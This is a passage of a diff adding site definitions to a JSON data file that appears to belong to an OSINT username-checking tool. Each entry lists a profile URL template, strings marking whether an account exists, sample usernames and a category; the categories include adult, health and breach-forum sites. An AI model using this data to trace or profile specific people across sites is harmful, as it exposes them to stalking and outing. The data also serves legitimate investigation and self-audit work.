"e_string" : "| Новости - Приколы - Комиксы - Мемы", + "m_string" : "Этот пользователь не существует, или заблокирован.", + "m_code" : 200, + "known" : ["ruslan", "dima"], + "cat" : "social", + "valid" : true + }, + { + "name" : "3DNews", + "uri_check" : "http://forum.3dnews.ru/member.php?username={account}", + "e_code" : 200, + "e_string" : "Форум 3DNews - Просмотр профиля:", + "m_string" : "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "m_code" : 200, + "known" : ["bob", "red"], + "cat" : "social", + "valid" : true + }, + { + "name" : "247sports", + "uri_check" : "https://247sports.com/User/{account}/", + "e_code" : 200, + "e_string" : "<meta property=", + "m_string" : "<title>247Sports", + "m_code" : 404, + "known" : ["bob", "john"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "3dtoday", + "uri_check" : "https://3dtoday.ru/blogs/{account}", + "e_code" : 200, + "e_string" : "Блог владельца 3d-принтера", + "m_string" : "404 Not Found", + "m_code" : 302, + "known" : ["sergei", "vlad"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "7cup", + "uri_check" : "https://www.7cups.com/@{account}", + "e_code" : 200, + "e_string" : "Profile - 7 Cups", + "m_string" : "Oops! The content you're attempting to access could not be found.", + "m_code" : 404, + "known" : [ "john", "jbob"], + "cat" : "social", + "valid" : true + }, + { + "name" : "7dach", + "uri_check" : "https://7dach.ru/profile/{account}", + "e_code" : 200, + "e_string" : "Информация / Профиль", + "m_string" : "Ошибка / 7dach.ru", + "m_code" : 200, + "known" : ["lana", "svetlana"], + "cat" : "social", + "valid" : true + }, + { + "name" : "21buttons", + "uri_check" : "https://www.21buttons.com/buttoner/{account}", + "e_code" : 200, + "e_string" : "profile_user_followers", + "m_string" : "This is not the page you're looking for", + "m_code" : 404, + "known" : ["teedawod", "ginamariahoffmann"], + "cat" : "social", + "valid" : true + }, + { + "name" : "aaha_chat", + "uri_check" : "https://www.aahachat.org/profile/{account}/", + "e_code" : 200, + "e_string" : "og:title", + "m_string" : "<title>Aaha Chat Rooms - ", + "m_code" : 301, + "known" : ["crazy", "dog"], + "cat" : "social", + "valid" : true + }, + { + "name" : "about.me", + "uri_check" : "https://about.me/{account}", + "e_code" : 200, + "e_string" : " | about.me", + "m_string" : "<title>about.me", + "m_code" : 404, + "known" : ["john", "jill"], + "cat" : "social", + "valid" : true + }, + { + "name" : "ACF", + "uri_check" : "https://support.advancedcustomfields.com/forums/users/{account}", + "e_code" : 200, + "e_string" : "ACF Support", + "m_string" : "Page Not Found", + "m_code" : 200, + "known" : ["mike", "greg"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "admire_me", + "uri_check" : "https://admireme.vip/{account}/", + "e_code" : 200, + "e_string" : "<div id=", + "m_string" : "<title>Page Not Found |", + "m_code" : 404, + "known" : ["justjessicarabbit", "savannah250xo"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Adult_Forum", + "uri_check" : "https://adultforum.gr/{account}-glamour-escorts/", + "e_code" : 200, + "e_string" : "Glamour Escorts ", + "m_string" : "Page not found - Adult Forum Gr", + "m_code" : 404, + "known" : ["nastya3", "ekaterina"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "adultism", + "uri_check" : "https://www.adultism.com/profile/{account}", + "e_code" : 200, + "e_string" : "static/r-1OqQ4o/css/www/main.css", + "m_string" : "<title> Not Found", + "m_code" : 404, + "known" : ["laura", "sara"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "ADVFN", + "uri_check" : "https://uk.advfn.com/forum/profile/{account}", + "e_code" : 200, + "e_string" :"Profile | ADVFN", + "m_string" : "ADVFN ERROR - Page Not Found", + "m_code" : 404, + "known" : ["crypto", "crypto1"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "aflam", + "uri_check" : "https://www.aflam4you.net/profile.html?u={account}", + "post_body" : "", + "e_code" : 200, + "e_string" : ") on بث حي و مباشر", + "m_string" : "Plz Visit", + "m_code" : 302, + "known" : ["ahmed", "brahim01"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Airline_Pilot_Life", + "uri_check" : "https://airlinepilot.life/u/{account}", + "e_code" : 200, + "e_string" : "<title> Profile -", + "m_string" : "Page Not Found - Airline Pilot Life", + "m_code" : 404, + "known" : ["hannah", "addison"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Airliners", + "uri_check" : "https://www.airliners.net/user/{account}/profile", + "e_code" : 200, + "e_string" : "'s Profile | Airliners Members | Airliners.net", + "m_string" : "An Error Occurred", + "m_code" : 404, + "known" : ["pilot", "pilota"], + "cat" : "social", + "valid" : true + }, + { + "name" : "akniga", + "uri_check" : "https://akniga.org/profile/{account}", + "e_code" : 200, + "e_string" : " - Аудиокниги Клуб", + "m_string" : "Vizitka nenalezena", + "m_code" : 404, + "known" : ["igor", "pavel"], + "cat" : "social", + "valid" : true + }, + { + "name" : "allesovercrypto", + "uri_check" : "https://allesovercrypto.nl/user/{account}", + "e_code" : 200, + "e_string" : "Favoriete coins", + "m_string" : "De opgevraagde pagina kon niet gevonden worden.", + "m_code" : 200, + "known" : ["gijsv", "patrick-suiker"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "allmylinks", + "uri_check" : "https://allmylinks.com/{account}", + "e_code" : 200, + "e_string" : "message", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["blue", "beccaturner"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Alloannonces", + "uri_check" : "https://www.alloannonces.ma/{account}/", + "e_code" : 200, + "e_string" : "Vendeurs/Agents", + "m_string" : "Page non defini", + "m_code" : 404, + "known" : ["Rachid13", "Ayoub"], + "cat" : "social", + "valid" : true + }, + { + "name" : "AllTrails", + "uri_check" : "https://www.alltrails.com/members/{account}", + "e_code" : 200, + "e_string" : "'s Profile | ", + "m_string" : "User could not be found.", + "m_code" : 302, + "known" : ["breckt", "rdoghartwig"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Ameblo", + "uri_check" : "https://ameblo.jp/{account}", + "e_code" : 200, + "e_string" : "画像一覧", + "m_string" : "削除された可能性がございます。", + "m_code" : 404, + "known" : ["ereko-blog", "senpai"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "AmericanThinker", + "uri_check" : "https://www.americanthinker.com/author/{account}/", + "e_code" : 200, + "e_string" : "Articles &", + "m_string" : "American Thinker", + "m_code" : 301, + "known" : ["terrypaulding", "monicashowalter"], + "cat" : "political", + "valid" : true + }, + { + "name" : "AnimePlanet", + "uri_check" : "https://www.anime-planet.com/users/{account}", + "e_code" : 200, + "e_string" : "Joined", + "m_string" : "Meet new friends, make reviews and recommendations.", + "m_code" : 302, + "known" : ["zala", "lindapearl"], + "cat" : "social", + "valid" : true + }, + { + "name" : "aNobii", + "uri_check" : "https://www.anobii.com/{account}/profile/activity", + "e_code" : 200, + "e_string" : ">Anobian since", + "m_string" : "A user matching the specified criteria could not be found", + "m_code" : 200, + "known" : ["albertoricci", "trynyty01"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "anonup", + "uri_check" : "https://anonup.com/@{account}", + "e_code" : 200, + "e_string" : "Show followings", + "m_string" : "Page not found!", + "m_code" : 302, + "known" : ["john", "peter"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Apex Legends", + "uri_check" : "https://apex.tracker.gg/apex/profile/origin/{account}/overview", + "e_code" : 200, + "e_string" : "Overview", + "m_code" : 404, + "m_string" : "PLAYER NOT FOUND", + "known" : ["tttcheekyttt", "RollsRoyce_Dawn"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Appian", + "uri_check" : "https://community.appian.com/members/{account}", + "e_code" : 200, + "e_string" : "User Profile", + "m_string" : "Go back to our", + "m_code" : 301, + "known" : ["mikec", "varunkumarb0001"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "apteka", + "uri_check" : "https://apteka.ee/user/id/{account}", + "e_code" : 200, + "e_string" : "/gifts/user_id/", + "m_string" : "account-data-error", + "m_code" : 200, + "known" : ["lana", "oleg"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Archive Of Our Own Account", + "uri_check" : "https://archiveofourown.org/users/{account}", + "e_code" : 200, + "e_string" : ">Profile<", + "m_string" : ">redirected<", + "m_code" : 302, + "known" : ["test", "john"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Arduino", + "uri_check" : "https://create.arduino.cc/projecthub/{account}", + "e_code" : 200, + "e_string" : "- Arduino Project Hub", + "m_string" : "Arduino Project Hub", + "m_code" : 404, + "known" : ["peter", "john"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "ArmorGames", + "uri_check" : "https://armorgames.com/user/{account}", + "e_code" : 200, + "e_string" : "about", + "m_string" : "404: Oh Noes!", + "m_code" : 302, + "known" : ["john", "sammy"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "ArtBreeder", + "uri_check" : "https://www.artbreeder.com/{account}", + "e_code" : 200, + "e_string" : "", + "m_string" : "Not found:", + "m_code" : 404, + "known" : ["dolores", "cyborghyena"], + "cat" : "art", + "valid" : true + }, + { + "name" : "Artists & Clients", + "uri_check" : "https://artistsnclients.com/people/{account}", + "e_code" : 200, + "e_string" : "Member Since", + "m_code" : 404, + "m_string" : "The page you requested wasn't there when we tried to get it for you. What a bother!", + "known" : ["luluc0", "MuraArts"], + "cat" : "art", + "valid" : true + }, + { + "name" : "ArtStation", + "uri_check" : "https://www.artstation.com/{account}", + "e_code" : 200, + "e_string" : "Portfolio", + "m_code" : 404, + "m_string" : "Page not found", + "known" : ["kongaxl_design", "alex_pi"], + "cat" : "art", + "valid" : true + }, + { + "name" : "asciinema", + "uri_check" : "https://asciinema.org/~{account}", + "e_code" : 200, + "e_string" : "s profile - asciinema", + "m_string" : "This page doesn't exist. Sorry!", + "m_code" : 404, + "known" : ["john", "red"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "ask.fm", + "uri_check" : "https://ask.fm/{account}", + "e_code" : 200, + "e_string" : "answers,", + "m_string" : "Well, apparently not anymore.", + "m_code" : 200, + "known" : ["test", "bob"], + "cat" : "social", + "valid" : true + }, + { + "name" : "au.ru", + "uri_check" : "https://au.ru/user/{account}/", + "e_code" : 200, + "e_string" : "Лоты пользователя ", + "m_string" : "Пользователь не найден", + "m_code" : 404, + "known" : ["Svetlana7", "nastya"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Audiojungle", + "uri_check" : "https://audiojungle.net/user/{account}", + "e_code" : 200, + "e_string" : "s profile on AudioJungle", + "m_string" : "404 - Nothing to see here", + "m_code" : 404, + "known" : ["john", "reds"], + "cat" : "music", + "valid" : true + }, + { + "name" : "authorSTREAM", + "uri_check" : "http://www.authorstream.com/{account}/", + "e_code" : 200, + "e_string" : "Presentations on authorSTREAM", + "m_string" : "", + "m_code" : 404, + "known" : ["test", "john"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Avid Community", + "uri_check" : "https://community.avid.com/members/{account}/default.aspx", + "e_code" : 200, + "e_string" : "My Activity", + "m_code" : 302, + "m_string" : "The user you requested cannot be found.", + "known" : ["Thayne", "Admin"], + "cat" : "music", + "valid" : true + }, + { + "name" : "babepedia", + "uri_check" : "https://www.babepedia.com/user/{account}", + "e_code" : 200, + "e_string" : "'s Page", + "m_string" : "Profile not found", + "m_code" : 404, + "known" : ["cherry", "betty"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "BabyPips", + "uri_check" : "https://forums.babypips.com/u/{account}.json", + "uri_pretty" : "https://forums.babypips.com/u/{account}/summary", + "e_code" : 200, + "e_string" : "user_badges", + "m_string" : "The requested URL or resource could not be found", + "m_code" : 404, + "known" : ["baemax023", "scottycarsonmvp"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Bandcamp", + "uri_check" : "https://bandcamp.com/{account}", + "e_code" : 200, + "e_string" : " collection | Bandcamp", + "m_string" : "

    Sorry, that something isn’t here.

    ", + "m_code" : 404, + "known" : ["alice", "bob"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Bandlab", + "uri_check" : "https://www.bandlab.com/api/v1.3/users/{account}", + "uri_pretty" : "https://www.bandlab.com/{account}", + "e_code" : 200, + "e_string" : "about", + "m_string" : "Couldn't find any matching element, it might be deleted", + "m_code" : 404, + "known" : ["rave_flawless", "delutaya"], + "cat" : "music", + "valid" : true + }, + { + "name" : "bblog_ru", + "uri_check" : "https://www.babyblog.ru/user/{account}", + "e_code" : 200, + "e_string" : "@", + "m_string" : "БэбиБлог - беременность, календарь беременности, дневники", + "m_code" : 301, + "known" : ["igor", "olga"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "BDSMLR", + "uri_check" : "https://{account}.bdsmlr.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "login", + "m_string" : "This blog doesn't exist.", + "m_code" : 200, + "known" : ["themunch", "shibari4all"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "bdsmsingles", + "uri_check" : "https://www.bdsmsingles.com/members/{account}/", + "e_code" : 200, + "e_string" : "Profile", + "m_string" : "BDSM Singles", + "m_code" : 302, + "known" : ["GoddessBlueDiamo", "aalama"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Behance", + "uri_check" : "https://www.behance.net/{account}", + "e_code" : 200, + "e_string" : "<title>Behance", + "m_string" : "Behance :: Oops! We can’t find that page.", + "m_code" : 404, + "known" : ["alice", "john"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Bentbox", + "uri_check" : "https://bentbox.co/{account}", + "e_code" : 200, + "e_string" : "
    ", + "m_string" : "This user is currently not available", + "m_code" : 200, + "known" : ["brockdoom", "witchhouse", "hotoptics"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "BiggerPockets", + "uri_check" : "https://www.biggerpockets.com/users/{account}", + "e_code" : 200, + "e_string" : "| BiggerPockets", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["trustgreene", "chasel9"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "BIGO Live", + "uri_check" : "https://www.bigo.tv/user/{account}", + "e_code" : 200, + "e_string" : "userInfo:{nickName", + "m_string" : "userInfo:{}", + "m_code" : 200, + "known" : ["treasdior", "Jacin19"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Bikemap", + "uri_check" : "https://www.bikemap.net/en/u/{account}/routes/created/", + "e_code" : 200, + "e_string" : "- 🚲 Bikemap", + "m_string" : "Page not found - Error 404 ", + "m_code" : 404, + "known" : ["mike", "greg"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Bimpos", + "uri_check" : "https://ask.bimpos.com/user/{account}", + "e_code" : 200, + "e_string" : "<title>User ", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["john", "db"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "biolink", + "uri_check" : "https://bio.link/{account}", + "e_code" : 200, + "e_string" : "profile:username", + "m_string" : "The page you’re looking for doesn’t exist", + "m_code" : 404, + "known" : ["adli_hm", "jake"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Bitbucket", + "uri_check" : "https://bitbucket.org/{account}/", + "e_code" : 200, + "e_string" : "Repositories", + "m_string" : "That link has no power here", + "m_code" : 404, + "known" : ["test", "WebBreacher"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Bitchute", + "uri_check" : "https://www.bitchute.com/channel/{account}/", + "e_code" : 200, + "e_string" : "subscribers", + "m_string" : "404 - Page not found", + "m_code" : 404, + "known" : ["simon_parkes", "americafloats", "daindor"], + "cat" : "political", + "valid" : true + }, + { + "name" : "bitcoin forum", + "uri_check" : "https://bitcoinforum.com/profile/{account}", + "e_code" : 200, + "e_string" : "Profile of", + "m_string" : "An Error Has Occurred!", + "m_code" : 200, + "known" : ["alex", "boss"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "bittube", + "uri_check" : "https://bittube.video/c/{account}/videos", + "e_code" : 200, + "e_string" : "- BitTube", + "m_string" : "

    We are sorry but it seems", + "m_code" : 404, + "known" : ["nmt0", "sashaponce"], + "cat" : "video", + "valid" : true + }, + { + "name" : "BLIP.fm", + "uri_check" : "https://blip.fm/{account}", + "e_code" : 200, + "e_string" : "recommended", + "m_string" : "", + "m_code" : 404, + "known" : ["john", "walnuts"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Blogger", + "uri_check" : "https://www.blogger.com/profile/{account}", + "e_code" : 200, + "e_string" : ">On Blogger since", + "m_string" : "Sorry, the blog you were looking for does not exist.", + "m_code" : 404, + "known" : ["07333944864481878697", "05941544278367416980"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "blogi.pl", + "uri_check" : "https://www.blogi.pl/osoba,{account}.html", + "e_code" : 200, + "e_string" : "Informacje ogólne", + "m_string" : "Niepoprawny adres.", + "m_code" : 200, + "known" : ["naukowa", "izkpaw"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "Blogmarks", + "uri_check" : "http://blogmarks.net/user/{account}", + "e_code" : 200, + "e_string" : "class=\"mark\"", + "m_string" : "", + "m_code" : 200, + "known" : ["test", "mike"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Blogspot", + "uri_check" : "http://{account}.blogspot.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "Blogger Template Style", + "m_string" : "Blog not found", + "m_code" : 404, + "known" : ["test"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "BodyBuilding.com", + "uri_check" : "http://api.bodybuilding.com/api-proxy/bbc/get?slug={account}", + "uri_pretty" : "http://bodyspace.bodybuilding.com/{account}/", + "e_code" : 200, + "e_string" : "username", + "m_string" : "data\" :\"\"", + "m_code" : 200, + "known" : ["mike"], + "cat" : "health", + "valid" : true + }, + { + "name" : "bonga_cams", + "uri_check" : "https://pt.bongacams.com/{account}", + "e_code" : 200, + "e_string" : "Chat público ao vivo de", + "m_string" : "Câmaras de sexo free: chat pornô ao vivo", + "m_code" : 404, + "known" : ["PrettyKatea", "milaowens"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Bookcrossing", + "uri_check" : "https://www.bookcrossing.com/mybookshelf/{account}", + "e_code" : 200, + "e_string" : "Recent Book Activity", + "m_string" : "Sorry, we were unable to locate the content that you requested.", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "boosty", + "uri_check" : "https://boosty.to/{account}", + "e_code" : 200, + "e_string" : "- exclusive content on Boosty", + "m_string" : "Blog not found", + "m_code" : 200, + "known" : ["evdokia", "lana"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Booth", + "uri_check" : "https://{account}.booth.pm/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "- BOOTH", + "m_string" : "BOOTH - The International Indie Art Marketplace", + "m_code" : 302, + "known" : ["monoliorder", "hasya"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Breach Forums", + "uri_check" : "https://breached.vc/User-{account}", + "e_code" : 200, + "e_string" : "Time Spent Online", + "m_code" : 404, + "m_string" : "The member you specified is either invalid or doesn't exist.", + "known" : ["dubudubw", "pompompurin"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Brickset", + "uri_check" : "https://forum.brickset.com/profile/{account}", + "e_code" : 200, + "e_string" : "Activity", + "m_string" : "User Not Found", + "m_code" : 404, + "known" : ["lowlead", "vwong19"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Bugcrowd", + "uri_check" : "https://bugcrowd.com/{account}", + "e_code" : 200, + "e_string" : "s researcher profile on Bugcrowd", + "m_string" : ">Bugcrowd | Error", + "m_code" : 404, + "known" : ["bitquark", "mert"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Bunpro", + "uri_check" : "https://community.bunpro.jp/u/{account}.json", + "e_code" : 200, + "e_string" : "username", + "m_code" : 404, + "m_string" : "The requested URL or resource could not be found.", + "known" : ["blacktide", "honey"], + "cat" : "social", + "valid" : true + }, + { + "name" : "buymeacoffee", + "uri_check" : "https://www.buymeacoffee.com/{account}", + "e_code" : 200, + "e_string" : "supporters", + "m_string" : "The page you’re looking for doesn’t exist.", + "m_code" : 404, + "known" : ["freebird", "robinwong"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "BuzzFeed", + "uri_check" : "https://www.buzzfeed.com/{account}", + "e_code" : 200, + "e_string" : "memberSince", + "m_string" : "We can't find the page you're looking for", + "m_code" : 404, + "known" : ["janelytvynenko", "RobertK"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Buzznet", + "uri_check" : "https://www.buzznet.com/author/{account}/", + "e_code" : 200, + "e_string" : "Author:", + "m_string" : "The page you are looking for can't be found.", + "m_code" : 404, + "known" : ["carolinegawlik"], + "cat" : "news", + "valid" : true + }, + { + "name" : "cafecito", + "uri_check" : "https://cafecito.app/{account}", + "e_code" : 200, + "e_string" : " | Cafecito", + "m_string" : "Es posible que el enlace que seleccionaste esté roto o que se haya eliminado la página", + "m_code" : 404, + "known" : ["braftty", "guillermo"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Calendy", + "uri_check" : "https://calendly.com/{account}", + "e_code" : 200, + "e_string" : "og:author", + "m_code" : 404, + "m_string" : "Sorry, but the page you were looking for could not be found.", + "known" : ["honey", "roger"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Cameo", + "uri_check" : "https://www.cameo.com/{account}", + "e_code" : 200, + "e_string" : "aggregateRating", + "m_string" : "", + "m_code" : 301, + "known" : ["ryansandes", "sarahall3"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Carbonmade", + "uri_check" : "https://{account}.carbonmade.com/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "s online portfolio", + "m_string" : "site not found", + "m_code" : 404, + "known" : ["jenny", "bob"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Career.habr", + "uri_check" : "https://career.habr.com/{account}", + "e_code" : 200, + "e_string" : "— Хабр Карьера", + "m_string" : "Ошибка 404", + "m_code" : 404, + "known" : ["alex", "bob"], + "cat" : "business", + "valid" : true + }, + { + "name" : "CaringBridge", + "uri_check" : "https://www.caringbridge.org/visit/{account}", + "e_code" : 200, + "e_string" : "| CaringBridge", + "m_string" : "Sorry, we can’t find that site", + "m_code" : 404, + "known" : ["robertherring"], + "cat" : "health", + "valid" : true + }, + { + "name" : "carrd.co", + "uri_check" : "https://{account}.carrd.co", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "( Made with Carrd )", + "m_code" : 404, + "m_string" : "Sorry, the requested page could not be found.", + "known" : ["liam", "peter"], + "cat" : "business", + "valid" : true + }, + { + "name" : "cash.app", + "uri_check" : "https://cash.app/${account}", + "e_code" : 200, + "e_string" : " on Cash App", + "m_string" : "The page you are looking for can't be found", + "m_code" : 404, + "known" : ["Jill", "john"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "CastingCallClub", + "uri_check" : "https://www.castingcall.club/{account}", + "e_code" : 200, + "e_string" : "| Casting Call Club", + "m_code" : 302, + "m_string" : "404: This is not the page you were looking for. In the future, our AI robot overlords will be able to better predict exactly what you were looking for.", + "known" : ["Lindz", "Danye"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "CD-Action", + "uri_check" : "https://cdaction.pl/uzytkownicy/{account}", + "e_code" : 200, + "e_string" : "Lista gier:", + "m_string" : "Coś się popsuło...", + "m_code" : 404, + "known" : ["saczuan", "cormac"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "cda.pl", + "uri_check" : "https://www.cda.pl/{account}", + "e_code" : 200, + "e_string" : "Foldery", + "m_string" : "Strona na którą chcesz wejść nie istnieje", + "m_code" : 200, + "known" : ["test2", "janek"], + "cat" : "video", + "valid" : true + }, + { + "name" : "championat", + "uri_check" : "https://www.championat.com/user/{account}/", + "e_code" : 200, + "e_string" : "Личный профил", + "m_string" : "Извините, запрашиваемая страница не найдена", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "news", + "valid" : true + }, + { + "name" : "Mastodon-Chaos.social", + "uri_check" : "https://chaos.social/@{account}", + "e_code" : 200, + "e_string" : "@chaos.social) - chaos.social", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["dictvm", "sml"], + "cat" : "social", + "valid" : true + }, + { + "name" : "chaturbate", + "uri_check" : "https://chaturbate.com/{account}/", + "e_code" : 200, + "e_string" : "'s Bio and Free Webcam", + "m_string" : "It's probably just a broken link", + "m_code" : 404, + "known" : ["pussylovekate", "kemii"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "cHEEZburger", + "uri_check" : "https://profile.cheezburger.com/{account}", + "e_code" : 200, + "e_string" : "profile-header", + "m_string" : "Home - ", + "m_code" : 302, + "known" : ["john"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Chamsko", + "uri_check" : "https://www.chamsko.pl/profil/{account}", + "e_code" : 200, + "e_string" : "W serwisie od", + "m_string" : "Strona nie istnieje.", + "m_code" : 404, + "known" : ["test", "janek"], + "cat" : "images", + "valid" : true + }, + { + "name" : "Chess.com", + "uri_check" : "https://www.chess.com/member/{account}", + "e_code" : 200, + "e_string" : "Last Online", + "m_string" : "<title>Missing Page?! - Chess.com", + "m_code" : 404, + "known" : ["john", "peter", "josh"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Chomikuj.pl", + "uri_check" : "https://chomikuj.pl/{account}/", + "e_code" : 200, + "e_string" : "Foldery", + "m_string" : "Chomik o takiej nazwie nie istnieje", + "m_code" : 404, + "known" : ["test", "test2"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Chyoa", + "uri_check" : "https://chyoa.com/user/{account}", + "e_code" : 200, + "e_string" : "When I'm not reading erotica I like to read", + "m_string" : "Sorry, I got distracted...", + "m_code" : 404, + "known" : ["joe", "carlos01"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Climatejustice.rocks (Mastodon Instance)", + "uri_check" : "https://climatejustice.rocks/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://climatejustice.rocks/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["paula", "ClimbitJustice"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Cloudflare", + "uri_check" : "https://community.cloudflare.com/u/{account}", + "e_code" : 200, + "e_string" : "- Cloudflare Community", + "m_string" : "Oops! That page doesn’t exist or is private.", + "m_code" : 404, + "known" : ["bob", "john"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Clubhouse", + "uri_check" : "https://www.clubhouse.com/@{account}", + "e_code" : 200, + "e_string" : ">followers

    ", + "m_string" : "t find what you were looking for", + "m_code" : 404, + "known" : ["kirbyplessas", "rohan"], + "cat" : "social", + "valid" : true + }, + { + "name" : "clusterdafrica", + "uri_check" : "https://clusterdafrica.com/@{account}", + "e_code" : 200, + "e_string" : "Membre depuis -", + "m_string" : "- Page non trouvée!", + "m_code" : 302, + "known" : ["mamadou", "konate"], + "cat" : "social", + "valid" : true + }, + { + "name" : "cnet", + "uri_check" : "https://www.cnet.com/profiles/{account}/", + "e_code" : 200, + "e_string" : "Member Since:", + "m_string" : "Page Not Found (404) - CNET", + "m_code" : 301, + "known" : ["john", "bob"], + "cat" : "news", + "valid" : true + }, + { + "name" : "Codeberg", + "uri_check" : "https://codeberg.org/{account}", + "e_code" : 200, + "e_string" : "ui avatar vm", + "m_code" : 404, + "m_string" : "The page you are trying to reach either", + "known" : ["dachary", "happy"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Codecademy", + "uri_check" : "https://discuss.codecademy.com/u/{account}/summary", + "e_code" : 200, + "e_string" : " Profile - ", + "m_string" : "Oops! That page doesn’t exist", + "m_code" : 404, + "known" : ["doctypeme", "jon_morris"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "codeforces", + "uri_check" : "https://codeforces.com/profile/{account}", + "e_code" : 200, + "e_string" : " - Codeforces", + "m_string" : "Codeforces", + "m_code" : 302, + "known" : ["Abdul01", "Abdullah"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "codementor", + "uri_check" : "https://www.codementor.io/@{account}", + "e_code" : 200, + "e_string" : "ABOUT ME", + "m_string" : "404/favicon.png", + "m_code" : 404, + "known" : ["e4c5", "juanelfers"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Code Project", + "uri_check" : "https://www.codeproject.com/Members/{account}", + "e_code" : 200, + "e_string" : "member since", + "m_string" : "Unable to load the requested member's information", + "m_code" : 200, + "known" : ["WmCraig", "Rick-York"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Codewars", + "uri_check" : "https://www.codewars.com/users/{account}", + "e_code" : 200, + "e_string" : "| Codewars", + "m_string" : "Whoops! The page you were looking for doesn't seem to exist.", + "m_code" : 404, + "known" : ["john", "reds"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Coderwall", + "uri_check" : "https://coderwall.com/{account}/", + "e_code" : 200, + "e_string" : "s profile |", + "m_string" : "404! Our feels when that url is used", + "m_code" : 404, + "known" : ["john", "test"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "cohost", + "uri_check" : "https://cohost.org/{account}", + "e_code" : 200, + "e_string" : "cohost! - @", + "m_string" : "Something went wrong", + "m_code" : 404, + "known" : ["vogon", "jkap"], + "cat" : "social", + "valid" : true + }, + { + "name" : "COLOURlovers", + "uri_check" : "https://www.colourlovers.com/lover/{account}", + "e_code" : 200, + "e_string" : "Color lovin' since", + "m_string" : "Lover has gone missing", + "m_code" : 410, + "known" : ["amorremanet", "bezzalopoly"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "contactos.sex", + "uri_check" : "https://www.contactossex.com/profile/{account}", + "e_code" : 200, + "e_string" : "Información Personal", + "m_string" : "Desde 2001 conectando gente!", + "m_code" : 302, + "known" : ["danijak", 